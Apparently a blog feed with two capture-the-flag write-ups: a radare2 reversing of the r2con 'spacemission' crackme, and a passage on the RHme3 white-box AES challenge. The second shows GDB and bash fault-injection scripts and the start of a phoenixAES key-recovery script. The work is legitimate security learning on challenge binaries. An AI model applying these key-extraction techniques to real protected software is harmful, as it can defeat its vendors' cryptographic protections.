<p>Alright, it seems pretty clear how our file must be named. The string <code class="language-plaintext highlighter-rouge">robot_instructions</code> before the <code class="language-plaintext highlighter-rouge">sym.imp.open</code> call is a pretty decent hint! Let’s create it and try again:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ touch robot_instructions
$ ./spacemision
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
X                   \                  X
X                    \########         X
X      o                               X
X    \OO                               X
X       \                              X
X___-##                                X
X #  ##/\/\/\/\/\/\/\/\                X
X_#__##                |               X
X  | ##  ____#----__---|               X
X  |    /##  | #       |               X
X  |    |    |         |/\  /\/\/\/\/\/X
X   \==/     |##       |               X
X            |         |/\/\/\/\/\/\/\ X
X####__########_#######                X
X                      \/\/\/\  /\/\/\/X
X                                      X
X                                      X
X                                      X
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
BOOOOOOM!!!
</code></pre></div></div>

<p>Cool! Even our inactivity caused the bomb to explode, we at least got what seems like a map in our screen. Now we should try to understand how our rover is moved, i.e. what commands we have to write into the <code class="language-plaintext highlighter-rouge">robot_instructions</code> file.</p>

<h2 id="up-down-left-right">Up, Down, Left, Right</h2>

<p>Once opened, a file must be read, so a good place to look at should be around <code class="language-plaintext highlighter-rouge">sym.imp.read</code> calls.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[0x00400ba0]&gt; axt sym.imp.read
call 0x4009c2 call sym.imp.read in sub.read_9a6
</code></pre></div></div>

<p>Ok, <code class="language-plaintext highlighter-rouge">sym.imp.read</code> is called inside the function <code class="language-plaintext highlighter-rouge">sub.read_9a6</code>, where is that function called from?</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[0x00400ba0]&gt; axt sub.read_9a6
call 0x401633 call sub.read_9a6 in main
</code></pre></div></div>

<p>Aha! Let’s take a look:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[0x00400ba0]&gt; s 0x401633
0x00401633]&gt; pd 20
|           0x00401633      e86ef3ffff     call sub.read_9a6           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x00401638      8845f7         mov byte [local_9h], al
|           0x0040163b      0fbe45f7       movsx eax, byte [local_9h]
|           0x0040163f      83f85e         cmp eax, 0x5e               ; '^' ; '^' ; 94
|       ,=&lt; 0x00401642      742f           je 0x401673
|       |   0x00401644      83f85e         cmp eax, 0x5e               ; '^' ; '^' ; 94
|      ,==&lt; 0x00401647      7f13           jg 0x40165c
|      ||   0x00401649      83f83c         cmp eax, 0x3c               ; '&lt;' ; '&lt;' ; 60
|     ,===&lt; 0x0040164c      0f84b3010000   je 0x401805
|     |||   0x00401652      83f83e         cmp eax, 0x3e               ; '&gt;' ; '&gt;' ; 62
|    ,====&lt; 0x00401655      7479           je 0x4016d0
|   ,=====&lt; 0x00401657      e916020000     jmp 0x401872
|   |||`--&gt; 0x0040165c      83f876         cmp eax, 0x76               ; 'v' ; 'v' ; 118
|   |||,==&lt; 0x0040165f      0f84c8000000   je 0x40172d
|   |||||   0x00401665      83f879         cmp eax, 0x79               ; 'y' ; 'y' ; 121
|  ,======&lt; 0x00401668      0f84ed010000   je 0x40185b
| ,=======&lt; 0x0040166e      e9ff010000     jmp 0x401872
</code></pre></div></div>

<p>Perfect, it seems our guessing was right! The file seems to be read, one byte at a time,and then compared to one of the following characters: <code class="language-plaintext highlighter-rouge">^</code>,<code class="language-plaintext highlighter-rouge">&lt;</code>,<code class="language-plaintext highlighter-rouge">&gt;</code>,<code class="language-plaintext highlighter-rouge">v</code>,<code class="language-plaintext highlighter-rouge">y</code>. The first four seem quite obvious: the rover probably goes up, left, right and down respectively each time one of these characters is read. A quick test shows we are right, as a little arrow appears on screen performing the moves we introduce into the <code class="language-plaintext highlighter-rouge">robot_instructions</code> file.</p>

<p>But, there’s that <code class="language-plaintext highlighter-rouge">y</code> command which doesn’t directly translate to any movement (the rover stands still). Maybe we should dive a bit more and see what the code does when a <code class="language-plaintext highlighter-rouge">y</code> is read.</p>

<h2 id="the-y-command">The <code class="language-plaintext highlighter-rouge">y</code> command</h2>

<p>Following the <code class="language-plaintext highlighter-rouge">jmp</code> address we can try to see what happens with this command:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[0x00401633]&gt; s 0x40185b
[0x0040185b] pd 6
|           0x0040185b      8b15e3182000   mov edx, dword [0x00603144] ; [0x603144:4]=0
|           0x00401861      8b05d9182000   mov eax, dword [0x00603140] ; [0x603140:4]=0
|           0x00401867      89d6           mov esi, edx
|           0x00401869      89c7           mov edi, eax
|           0x0040186b      e87af2ffff     call fcn.00400aea
|       ,=&lt; 0x00401870      eb04           jmp 0x401876
</code></pre></div></div>

<p>Hmmm. Two values are read from memory (<code class="language-plaintext highlighter-rouge">0x00603144</code> and <code class="language-plaintext highlighter-rouge">0x00603140</code>), moved to registers and then a function is called. Following the breadcrumbs:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[0x0040185b]&gt; s fcn.00400aea
[0x00400aea]&gt; pd 34
/ (fcn) fcn.00400aea 108
|   fcn.00400aea (int arg_6h);
|           ; var int local_18h @ rbp-0x18
|           ; var int local_14h @ rbp-0x14
|           ; var int local_6h @ rbp-0x6
|           ; var int local_4h @ rbp-0x4
|           ; arg int arg_6h @ rbp+0x6
|              ; CALL XREF from 0x0040186b (main)
|           0x00400aea      55             push rbp
|           0x00400aeb      4889e5         mov rbp, rsp
|           0x00400aee      897dec         mov dword [local_14h], edi
|           0x00400af1      8975e8         mov dword [local_18h], esi
|           0x00400af4      8b45ec         mov eax, dword [local_14h]
|           0x00400af7      c1e006         shl eax, 6
|           0x00400afa      6625c007       and ax, 0x7c0
|           0x00400afe      89c2           mov edx, eax
|           0x00400b00      8b45e8         mov eax, dword [local_18h]
|           0x00400b03      01c0           add eax, eax
|           0x00400b05      83e03e         and eax, 0x3e
|           0x00400b08      09d0           or eax, edx
|           0x00400b0a      668945fa       mov word [local_6h], ax
|           0x00400b0e      c745fc000000.  mov dword [local_4h], 0
|       ,=&lt; 0x00400b15      eb36           jmp 0x400b4d
|      .--&gt; 0x00400b17      8b45fc         mov eax, dword [local_4h]
|      ||   0x00400b1a      4898           cdqe
|      ||   0x00400b1c      0fb784009030.  movzx eax, word [rax + rax + 0x603090] ; [0x603090:2]=460
|      ||   0x00400b24      663b45fa       cmp ax, word [local_6h]
|     ,===&lt; 0x00400b28      751f           jne 0x400b49
|     |||   0x00400b2a      8b45fc         mov eax, dword [local_4h]
|     |||   0x00400b2d      4898           cdqe
|     |||   0x00400b2f      0fb784009030.  movzx eax, word [rax + rax + 0x603090] ; [0x603090:2]=460
|     |||   0x00400b37      83c801         or eax, 1
|     |||   0x00400b3a      89c2           mov edx, eax
|     |||   0x00400b3c      8b45fc         mov eax, dword [local_4h]
|     |||   0x00400b3f      4898           cdqe
|     |||   0x00400b41      668994009030.  mov word [rax + rax + 0x603090], dx ; [0x603090:2]=460
|     `---&gt; 0x00400b49      8345fc01       add dword [local_4h], 1
|      !|      ; JMP XREF from 0x00400b15 (fcn.00400aea)
|      |`-&gt; 0x00400b4d      837dfc06       cmp dword [local_4h], 6     ; [0x6:4]=-1 ; 6
|      `==&lt; 0x00400b51      7ec4           jle 0x400b17
|           0x00400b53      90             nop
|           0x00400b54      5d             pop rbp
\           0x00400b55      c3             ret
</code></pre></div></div>

<p>Wow, this one’s a little bigger. Let’s try to understand it step by step. First, the two values previously read from memory (now saved into <code class="language-plaintext highlighter-rouge">edi</code> and <code class="language-plaintext highlighter-rouge">esi</code>) are moved into two local variables, <code class="language-plaintext highlighter-rouge">local_14h</code> and <code class="language-plaintext highlighter-rouge">local_18h</code>. Then, a series of transformations are applied to these values. Summarized:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">local_14h</code> is shifted 6 bits to left (or multiplied by 64) and then bitwise-<code class="language-plaintext highlighter-rouge">and</code>‘ed with the constant value <code class="language-plaintext highlighter-rouge">0x7c0</code>. The resultant value is saved into <code class="language-plaintext highlighter-rouge">edx</code>.</li>
  <li><code class="language-plaintext highlighter-rouge">local_18h</code> is summed to itself (or multiplied by 2), bitwise-<code class="language-plaintext highlighter-rouge">and</code>‘ed with the constant value <code class="language-plaintext highlighter-rouge">0x3e</code> and then bitwise-<code class="language-plaintext highlighter-rouge">or</code>‘ed with the previous value stored in <code class="language-plaintext highlighter-rouge">edx</code>. The resulting value is saved in <code class="language-plaintext highlighter-rouge">local_6h</code>.</li>
</ul>

<p>At this point, the transformation is finished and a loop begins, using <code class="language-plaintext highlighter-rouge">local_4h</code> as the iterator, beginning with 0 and ending with 6, so that’s 7 iterations. In every iteration, memory is accessed at the base address of <code class="language-plaintext highlighter-rouge">0x603090</code> plus 2 * the current iteration (that’s 0, 2, 4…). The value obtained from memory is compared to the transformed value that’s in <code class="language-plaintext highlighter-rouge">local_6h</code>.</p>

<p>Let’s stop here for a moment and make and educated guess. From what we have seen, when a <code class="language-plaintext highlighter-rouge">y</code> is read, two values are passed to a function. Since this is a 2D game, the probable candidates for this two values are the coordinates X and Y. This can be confirmed dynamically, setting breakpoints with <code class="language-plaintext highlighter-rouge">db</code> at the beginning of the function and seeing that, by writing <code class="language-plaintext highlighter-rouge">y&lt;y</code> into <code class="language-plaintext highlighter-rouge">robot_instructions</code>, the execution stops twice: <code class="language-plaintext highlighter-rouge">exi</code> has the same value both times (<code class="language-plaintext highlighter-rouge">0x4</code>), but <code class="language-plaintext highlighter-rouge">edi</code> decreases in 1 the second time (so it has the value <code class="language-plaintext highlighter-rouge">0x3</code>). This seems to indicate that <code class="language-plaintext highlighter-rouge">esi</code> (<code class="language-plaintext highlighter-rouge">local_18h</code>) contains the Y coordinate and <code class="language-plaintext highlighter-rouge">edi</code> (<code class="language-plaintext highlighter-rouge">local_14h</code>) the X coordinate.</p>

<p>If this is true, what is happening next seems pretty obvious: X and Y are transformed (hashed/obfuscated) into a single value, and that is compared to a value read from memory. If they are the same, that memory address is written with something else. If not, the loop continues and the next memory address is compared to the value obtained from the current coordinates, up to 7 comparisons. Then the function ends.</p>

<p>Whew, did you read all that? Well, if you did, you probably know what’s up by now, but if you didn’t here’s a little <code class="language-plaintext highlighter-rouge">TL;DR</code>:</p>

<ul>
  <li>The <code class="language-plaintext highlighter-rouge">y</code> command attempts to deactivate a bomb in the current location</li>
  <li>7 positions are obtained from memory, so probably there are 7 bombs in the whole map</li>
</ul>

<p>This is getting interesting! We only have to get the 7 bomb positions from memory and we are done, right? Well, not quite.</p>

<h2 id="the-7-bombs">The 7 bombs</h2>

<p>By placing a breakpoint at <code class="language-plaintext highlighter-rouge">0x00400aea</code>, we can see the 7 values compared to our obfuscated coordinates and save them. These are the obtained values:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x1cc 0x5c2 0x04e 0x186 0x394 0x0e0 0x61c
</code></pre></div></div>

<p>Of course, these are obfuscated with the same transformations applied to the current coordinates, so we still don’t have the positions for the 7 bombs. At this point, I thought of writing a “deobfuscation” function that could obtain the coordinates for every obfuscated value. But after some minutes of trying, I started to see maybe there was an easier way.</p>

<p>We are playing in a 40x20 map. That’s 800 possible XY combinations where our rover can be at a given time, without taking obstacles into consideration. That is a very reasonable value to try a “brute-force” attack, as if the positions of the bombs where hashed and we were trying to crack them. And coding the obfuscation function is way easier, as it’s only a matter of translating assembly to Python. The following script accomplishes exactly that:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">obfuscate</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">):</span>
  <span class="n">temp</span> <span class="o">=</span> <span class="n">x</span><span class="o">*</span><span class="mi">64</span>
  <span class="n">temp</span> <span class="o">=</span> <span class="n">temp</span> <span class="o">&amp;</span> <span class="mi">1984</span>
  <span class="n">temp2</span> <span class="o">=</span> <span class="n">y</span><span class="o">*</span><span class="mi">2</span>
  <span class="n">temp2</span> <span class="o">=</span> <span class="n">temp2</span> <span class="o">&amp;</span> <span class="mi">62</span>
  <span class="k">return</span> <span class="n">temp</span> <span class="o">|</span> <span class="n">temp2</span>

<span class="n">values</span> <span class="o">=</span> <span class="p">[</span> <span class="mh">0x1cc</span><span class="p">,</span> <span class="mh">0x5c2</span><span class="p">,</span> <span class="mh">0x04e</span><span class="p">,</span> <span class="mh">0x186</span><span class="p">,</span> <span class="mh">0x394</span><span class="p">,</span> <span class="mh">0x0e0</span><span class="p">,</span> <span class="mh">0x61c</span> <span class="p">]</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">40</span><span class="p">):</span>
  <span class="k">for</span> <span class="n">y</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">20</span><span class="p">):</span>
    <span class="n">value</span> <span class="o">=</span> <span class="n">obfuscate</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">value</span> <span class="ow">in</span> <span class="n">values</span><span class="p">:</span>
      <span class="k">print</span> <span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">,</span><span class="nb">hex</span><span class="p">(</span><span class="n">value</span><span class="p">)</span>
      <span class="n">values</span><span class="p">.</span><span class="n">remove</span><span class="p">(</span><span class="n">value</span><span class="p">)</span>
</code></pre></div></div>

<p>Drum roll, please!</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python bombs.py
1 7 0x4e
3 16 0xe0
6 3 0x186
7 6 0x1cc
14 10 0x394
23 1 0x5c2
24 14 0x61c
</code></pre></div></div>

<p><em>Hacker voice</em>: Got it.</p>

<h2 id="a-matter-of-optimization">A matter of optimization</h2>

<p>We are done! Our reversing skillz are the best ever! We are l33t h4ck3rs! Now we just have to write a path that walks over all the positions, deactivates all bombs and we won, right? Right?</p>

<p>Well, it seems not. Remember that message at the beginning that mentioned the rover’s battery is limited? That means we have a <strong>limited</strong> number of movements before the battery dies. Uh, oh.</p>

<p>Yes, it’s only a matter of finding the optimal way. And yes, there is a “trick” that I discovered by chance but that can be found in the code: the <code class="language-plaintext highlighter-rouge">_</code> characters in the map are special, in the sense that they are not the same kind of obstacle as the rest of them (<code class="language-plaintext highlighter-rouge">X</code>, <code class="language-plaintext highlighter-rouge">#</code>, <code class="language-plaintext highlighter-rouge">-</code> and so on). If the rover walks into a <code class="language-plaintext highlighter-rouge">_</code> <em>from up to down</em>, it jumps above it instead of stopping. Cool! That’s actually the only way of reaching the bomb at <code class="language-plaintext highlighter-rouge">(1,7)</code>, and it was the only reason I discovered this. Later, I checked in the code that the <code class="language-plaintext highlighter-rouge">v</code> command has a special treatment just for this case.</p>

<p>But even with this trick, I kept writing paths of &gt;190 movements, and the battery of our rover only lasts for 179. Here I started thinking on finding the optimal path programatically, but a part of me refused the approach as over-complicated. “It’s only a one star challenge, it should be easier”, I thought. And then began a deep navigation into the assembly, trying to find other special obstacles that maybe allowed for “teleportation” from one point to another, like wormholes or something.</p>

<p>Needless to say, that led to nowhere. After an undisclosed amount of hours, I fell back into the good old manually counting positions and discovered a few optimization errors in my path. I reduced it to 185, then 183, and then, finally, 179 movements. It ultimately looked like this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cat robot_instructions
^&gt;&gt;y
&lt;&lt;vv&lt;v&gt;vvv&gt;&gt;^&gt;^&gt;^&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;v&lt;v&lt;&lt;&lt;^y
v&gt;&gt;vv&lt;vv&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;^^&lt;&lt;&lt;&lt;&lt;&lt;y
&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;^^&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;^^&gt;&gt;&gt;^^^^^^^^^&lt;&lt;&lt;&lt;&lt;&lt;&lt;y
&gt;&gt;&gt;&gt;&gt;&gt;&gt;vv&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;vvv&lt;&lt;y
^&lt;&lt;&lt;&lt;&lt;&lt;vy
vvvvv&gt;&gt;&gt;&gt;vv&lt;&lt;y
</code></pre></div></div>

<p>Was it victory?</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
X                   \                  X
X                    \########         X
X      o                               X
X    \OO                               X
X       \                              X
X___-##                                X
X #  ##/\/\/\/\/\/\/\/\                X
X_#__##                |               X
X  | ##  ____#----__---|               X
X  |    /##  | #       |               X
X  |    |    |         |/\  /\/\/\/\/\/X
X   \==/     |##       |               X
X            |         |/\/\/\/\/\/\/\ X
X####__########_#######                X
X                      \/\/\/\  /\/\/\/X
X  &lt;                                   X
X                                      X
X                                      X
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
You saved us all, thank you!
</code></pre></div></div>

<p>Yay!</p>

<h2 id="conclusion">Conclusion</h2>

<p>To wrap up, I got a lot of fun with this challenge. It was my first time using <code class="language-plaintext highlighter-rouge">radare2</code>, and almost my first reversing challenge too. I learned quite some <code class="language-plaintext highlighter-rouge">r2</code> commands in the process, and lost a little fear on reading assembly ;-)</p>

<p>The final part of finding the optimal path was a little frustrating, and I still feel maybe there was a way to automate the process. But well, sometimes banging your head against the wall is what you need to take a deep breath and reconsider your options.</p>

<p>Big thanks to <strong>condret</strong> for providing the challenge, to <strong>pancake</strong> and the rest of the <strong>r2con2017</strong> organization for setting up such a wonderful event, and to <a href="http://hacktracking.blogspot.com.es/">t0n1</a> and <a href="https://twitter.com/as0ler">as0ler</a> for offering their help when I got stuck.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[This was my first year attending r2con, and I can assure you I’m 100% coming back next year! It was lots of fun, I learned a lot in the trainings and the talks were super interesting. But, as a complete noob with radare2 (and reversing in general), one of the things I enjoyed the most were the Crackmes. Well, actually the crackme, because I only managed to solve one, the easiest of them: spacemission. Here I will try to explain how I approached this challenge from beginning to end, of course using radare2 during the whole process!]]></summary></entry><entry><title type="html">RHme3 Quals - Whitebox</title><link href="https://atorralba.github.io/RHme3-Quals-Whitebox/" rel="alternate" type="text/html" title="RHme3 Quals - Whitebox" /><published>2017-09-03T00:00:00+00:00</published><updated>2017-09-03T00:00:00+00:00</updated><id>https://atorralba.github.io/RHme3-Quals-Whitebox</id><content type="html" xml:base="https://atorralba.github.io/RHme3-Quals-Whitebox/"><![CDATA[<p>OK, let’s begin with a shameful confession: I had <strong>absolutely no idea</strong> about White-Box Cryptography before starting this challenge. That means I had to read quite a lot about it, understand its purpose, strengths and flaws, before even considering solving it. In this write-up, I will try to explain my approach to the challenge, the problems I encountered and how I finally got the solution. Let’s begin!</p>

<h2 id="first-things-first">First things first</h2>

<p>So we are given a binary, and we are told to extract a cryptographic key from it. Seems easy, right? Well, it wasn’t! At least for me.</p>

<p>As I said above, the first thing I had to do was reading an awful lot. After learning in general terms what White-Box Cryptography is and what it is useful for, it was time for the specifics and I started looking for practical attacks on White-Box implementations of common crypto algorithms.</p>

<p>My colleague <a href="http://hacktracking.blogspot.com">t0n1</a> kindly pointed me out <a href="https://www.blackhat.com/docs/eu-15/materials/eu-15-Sanfelix-Unboxing-The-White-Box-Practical-Attacks-Against-Obfuscated-Ciphers-wp.pdf">Unboxing the White-Box</a>, an excellent paper about just that, conveniently written by Riscure people themselves. Judging by the titles of both the paper and the challenge, it promised to be a central piece of the solution (<em>spoiler alert</em>: it absolutely was!), so I read it voraciously.</p>

<p>The reading helped me with two things: firstly, learning a bit more about White-Box crypto in general, and secondly, understanding the attacks of Fault Injection and Side-Channel Analysis. Now that I had at least some ideas about how to approach my enemy (the binary), it was time to get my hands dirty.</p>

<h2 id="poking">Poking</h2>

<p>I started poking the binary to try to understand what it was doing. It seemed quite simple: given a 16-byte input, an encrypted 16-byte output was returned.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>./whitebox AAAABBBBCCCCDDDD
18 20 4c 40 8d 7b c0 f9 2c c8 07 7d a6 94 27 42
</code></pre></div></div>

<p>It also seemed interesting that even when less than 16 bytes were given the output had 16 bytes anyway. It was absolutely too soon to tell, but if I had to do so at the moment, I would’ve said that we were facing an <strong>AES 128</strong> White-Box implementation. I decided to keep that consideration until reality proved me wrong, and so I spent another good amount of time reading about that specific algorithm, trying to understand how it works.</p>

<p>After that, the thing was: OK, I somewhat understand White-Box crypto, I somewhat understand how AES works, and I have a binary that <strong>apparently</strong> is encrypting the input it receives with a White-Box AES. Where to go from here?</p>

<p>After going against some walls, I stumbled upon a presentation that linked to a <a href="https://github.com/SideChannelMarvels">GitHub repo</a> that seemed promising. This good guys did not only write functional code of Fault Injection (and other) attacks against AES White-Box implementations, but also named their tools after Marvel characters! How cool is that?!</p>

<p>At first, <a href="https://github.com/SideChannelMarvels/Deadpool">Deadpool</a> looked like our guy: he injects faults <em>statically</em> into the binary and tries to obtain faulty outputs. The sad part is, no matter how much I tried to adjust the parameters of the tool, I wasn’t able to obtain a single faulty output :-(</p>

<p>Then I looked into <a href="https://github.com/SideChannelMarvels/JeanGrey">JeanGrey</a>, the tool that accomplishes phase 2: this is, analyzing the faulty outputs and obtaining the key (i. e. the real hard work). A lot of magic happens inside the code of this tool, and I tried to understand some of it reading the <a href="https://eprint.iacr.org/2003/010">paper</a> in which the attack JeanGrey uses is explained in detail. I leave to the curious reader the work of further investigating this path, but for the sake of simplicity, we will continue with the following assumptions:</p>

<ul>
  <li>JeanGrey performs <a href="https://en.wikipedia.org/wiki/Differential_fault_analysis">Differential fault analysis</a> to obtain cryptographic keys from White-Box implementations (specifically AES)</li>
  <li>It needs a file the first line of which must be the original, unmodified output for a given input, and the following lines must contain faulty outputs for the given input</li>
  <li>It works “running the algorithm backwards”, i.e. obtaining the key for the last AES round, then using it plus the faulty outputs of the previous round to find the corresponding key, and so on until the first key is found, and with it the full AES key.</li>
</ul>

<p>So it seemed we had a clear target: to generate enough faulty outputs for each round so JeanGrey could process them and help us find the keys. Now here is where the hard work came: we had to look at the internals of the binary in search of good fault injection locations.</p>

<h2 id="re">RE</h2>

<p>Well, I have to admit I had some (big) help at this point by the hand of the almighty <a href="http://hacktracking.blogspot.com">t0n1</a>, so this section will be a little summarized.</p>

<p>He quickly found an interesting function that got the 16 input bytes and copied them into a buffer. Then, it started applying some transformations to this buffer, transformations that, upon further inspection, very conveniently looked like the different steps of the <a href="https://en.wikipedia.org/wiki/Advanced_Encryption_Standard#High-level_description_of_the_algorithm">AES algorithm</a>. Of course it was not as easy as inspecting the <code class="language-plaintext highlighter-rouge">KeyExpansions</code> step and finding the key there, because we were facing a White-Box implementation of the algorithm, that’s the whole point! But the possibilities of this being AES increased.</p>

<p>Then we saw a counter that repeated the same steps (what we thought were the <code class="language-plaintext highlighter-rouge">SubBytes</code>, <code class="language-plaintext highlighter-rouge">ShiftRows</code>, <code class="language-plaintext highlighter-rouge">MixColumns</code> and <code class="language-plaintext highlighter-rouge">AddRoundKey</code>, thought we struggled to find each one in the correct order in the assembly code) up to 9 times. It made sense, because the last round skips the <code class="language-plaintext highlighter-rouge">MixColumns</code> step and so the code must jump to another region.</p>

<p>If we were correct, we had found strong hints that pointed to AES and, what’s more important, we may had identified the memory address where each round of the algorithm started. We also knew that the input buffer was copied into another structure with the same size, which couldn’t be anything else but the <em>state</em> (a 4 x 4 matrix of bytes used by the AES algorithm to perform the cipher). With this information, we had a place (the <em>state</em> matrix) and a time (the round start) to try and inject some faults.</p>

<h2 id="ready-aim-fire">Ready, Aim, Fire</h2>

<p>Now that we were pretty sure that we were facing an AES algorithm and had an apparently accurate memory address to inject faults into, it was time to decide how to do so.</p>

<p>After a little tinkering, I wrote this dirty but functional “script” that injects a byte-long fault in the specified memory address for the desired AES round:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>b <span class="k">*</span>0x4636EA
ignore 1 <span class="nv">$round</span>
run AAAABBBBCCCCDDDD
d 1
print /x 0x7fffffffeb20+<span class="nv">$offset</span>
<span class="nb">set</span> <span class="k">*</span><span class="o">(</span>char<span class="k">*</span><span class="o">)</span><span class="nv">$1</span><span class="o">=</span><span class="nv">$fault</span>
c
quit
</code></pre></div></div>

<p>In short, what it does is:</p>

<ul>
  <li>Sets a breakpoint at the start of the code that handles an AES round</li>
  <li>Ignores the first <code class="language-plaintext highlighter-rouge">n</code> times the breakpoint is reached. This is to be able to inject faults in the round we want to (e.g. if we ignore the first 7 times the breakpoint is reached, we are injecting faults in AES round 8)</li>
  <li>Executes the binary with the input <code class="language-plaintext highlighter-rouge">AAAABBBBCCCCDDDD</code> until the breakpoint is reached</li>
  <li>Deletes the breakpoint as it isn’t needed anymore</li>
  <li>Calculates the specific byte of the AES data matrix from its start address plus a desired offset (0 for the first byte, 1 for the second, etc)</li>
  <li>Injects the desired fault in the address calculated before</li>
  <li>Continues the execution</li>
  <li>Quits GDB</li>
</ul>

<p>So, with this, we have the ability to inject an arbitrary fault in an arbitrary matrix position for any of the AES rounds. Now we want to do this for <em>every</em> round, <em>every</em> position and a handful of faults. Again, the following ugly script achieves this:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">rounds</span><span class="o">=(</span><span class="s1">'10 9 8 7 6 5 4 3 2'</span><span class="o">)</span>
<span class="nv">faults</span><span class="o">=(</span><span class="s1">'0x41 0x42 0x43 0x44 0x45 0x46 0x47 0x48 0xff 0x00'</span><span class="o">)</span>
<span class="nv">offsets</span><span class="o">=(</span><span class="s1">'0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15'</span><span class="o">)</span>
<span class="k">for </span>round <span class="k">in</span> <span class="k">${</span><span class="nv">rounds</span><span class="p">[@]</span><span class="k">}</span><span class="p">;</span> <span class="k">do
	</span><span class="nb">echo</span> <span class="s2">"Round </span><span class="nv">$round</span><span class="s2">"</span>
	<span class="nb">echo</span> <span class="s2">"</span><span class="si">$(</span>./whitebox AAAABBBBCCCCDDDD | <span class="nb">sed</span> <span class="nt">-e</span> <span class="s2">"s/ //g"</span><span class="si">)</span><span class="s2">"</span> <span class="o">&gt;</span> round<span class="nv">$round</span>.log
	<span class="k">for </span>fault <span class="k">in</span> <span class="k">${</span><span class="nv">faults</span><span class="p">[@]</span><span class="k">}</span><span class="p">;</span> <span class="k">do
		for </span>offset <span class="k">in</span> <span class="k">${</span><span class="nv">offsets</span><span class="p">[@]</span><span class="k">}</span><span class="p">;</span> <span class="k">do
			</span><span class="nb">echo</span> <span class="s2">"</span><span class="si">$(</span><span class="nb">cat </span>fault.gdb | <span class="nb">sed</span> <span class="nt">-e</span> <span class="s2">"s/</span><span class="se">\$</span><span class="s2">round/</span><span class="k">$((</span>round-2<span class="k">))</span><span class="s2">/"</span> | <span class="nb">sed</span> <span class="nt">-e</span> <span class="s2">"s/</span><span class="se">\$</span><span class="s2">fault/</span><span class="nv">$fault</span><span class="s2">/"</span> | <span class="nb">sed</span> <span class="nt">-e</span> <span class="s2">"s/</span><span class="se">\$</span><span class="s2">offset/</span><span class="nv">$offset</span><span class="s2">/"</span> | gdb <span class="nt">-q</span> whitebox | <span class="nb">grep</span> <span class="nt">-v</span> gdb | <span class="nb">grep</span> <span class="nt">-v</span> Inferior | <span class="nb">grep</span> <span class="nt">-v</span> Breakpoint | <span class="nb">grep</span> <span class="nt">-v</span> Reading | <span class="nb">grep</span> <span class="nb">.</span> | <span class="nb">sed</span> <span class="s1">'s/ //g'</span> 2&gt;/dev/null<span class="si">)</span><span class="s2">"</span> <span class="o">&gt;&gt;</span> round<span class="nv">$round</span>.log
		<span class="k">done
	done
done</span>
</code></pre></div></div>

<p>I know this is horrible (so please don’t hate too much), but it does the trick: after the execution, 9 <code class="language-plaintext highlighter-rouge">round&lt;i&gt;.log</code> files are generated, the first line of each is the unmodified, encrypted output for the input string <code class="language-plaintext highlighter-rouge">AAAABBBBCCCCDDDD</code>, and the rest are faulty outputs for the specified round. With this files, I finally could summon the phoenix and use JeanGrey to try and get the keys of each AES round. With that in mind I wrote the following python script:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">phoenixAES</span>

<span class="n">foundkey</span> <span class="o">=</span> <span class="bp">True</span>
<span class="n">lastroundkeys</span> <span class="o">=</span> <span class="p">[]</span>
<span class="nb">round</span> <span class="o">=</span> <span class="mi">10</span>
<span class="k">while</span> <span class="n">foundkey</span> <span class="ow">and</span> <span class="nb">round</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">:</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"Round %i"</span> <span class="o">%</span> <span class="nb">round</span><span class="p">)</span>
    <span class="n">foundkey</span> <span class="o">=</span> <span class="bp">False</span>
    <span class="n">k</span> <span class="o">=</span> <span class="n">phoenixAES</span><span class="p">.</span><span class="n">crack</span><span class="p">(</span><span class="s">'faults/round%d.lst'</span> <span class="o">%</span> <span class="nb">round</span><span class="p">,</span>
        <span class="n">lastroundkeys</span><span class="o">=</span><span class="n">lastroundkeys</span><span class="p">,</span>
        <span class="n">outputbeforelastrounds</span><span class="o">=</span><span class="bp">False</span><span class="p">,</span>
